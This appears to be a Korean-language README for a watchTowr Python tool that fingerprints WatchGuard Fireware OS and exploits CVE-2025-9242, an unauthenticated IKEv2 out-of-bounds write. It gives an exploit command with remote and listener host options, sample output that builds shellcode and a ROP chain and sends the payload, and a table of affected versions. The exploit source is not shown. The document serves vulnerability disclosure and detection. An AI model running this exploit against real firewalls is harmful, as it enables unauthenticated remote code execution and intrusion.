
Python 기반 탐지 아티팩트 생성기 및 익스플로잇으로, WatchGuard Fireware OS CVE-2025-9242 (인증되지 않은 IKEv2 out-of-bounds 쓰기 취약점)에 대한 것입니다. 버전 핑거프린팅, 취약점 확인, 셸코드 페이로드 빌드 및 ROP 체인 실행을 자동화합니다.
WatchGuard CVE-2025-9242 탐지 아티팩트 생성기
https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f
자세한 기술 내용은 블로그 게시물을 참조하세요.
python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500 --lhost 192.168.56.1 --lport 31337 --exploit
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-WatchGuard-CVE-2025-9242.py
(*) WatchGuard Unauthenticated Remote Code Execution Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-9242]
[#] Sending IKEv2 SA Init with default transform
[#] WatchGuard Firmware Version: 12.11.3
[#] WatchGuard Build Number: 719894
[+] IKEv2 service is vulnerable to CVE-2025-9242 based on version number 12.11.3 < 12.11.4
[+] Default IKEv2 service found
[#] Verifying if IKEv2 service is vulnerable...
[+] IKEv2 service is vulnerable to CVE-2025-9242
[#] Building shellcode payload...
[#] Building ROP chain...
[#] Sending exploit payload to 192.168.56.1:31337
이 스크립트는 WatchGuard OS가 CVE-2025-9242에 취약한지 탐지합니다.
다음 WatchGuard OS 버전이 영향을 받습니다.
| 취약한 버전 | 해결된 버전 |
|---|---|
| 2025.1 | 2025.1.1 |
| 12.x | 12.11.4 |
| 12.5.x (T15 & T35 모델) | 12.5.13 |
| 12.3.1 (FIPS 인증 릴리스) | 12.3.1_Update3 (B722811) |
| 11.x | 지원 종료 |
자세한 내용은 WatchGuard Firebox iked 범위 초과 쓰기 취약점을 방문하세요.
최신 보안 연구를 위해 watchTowr 연구소 팀을 팔로우하세요.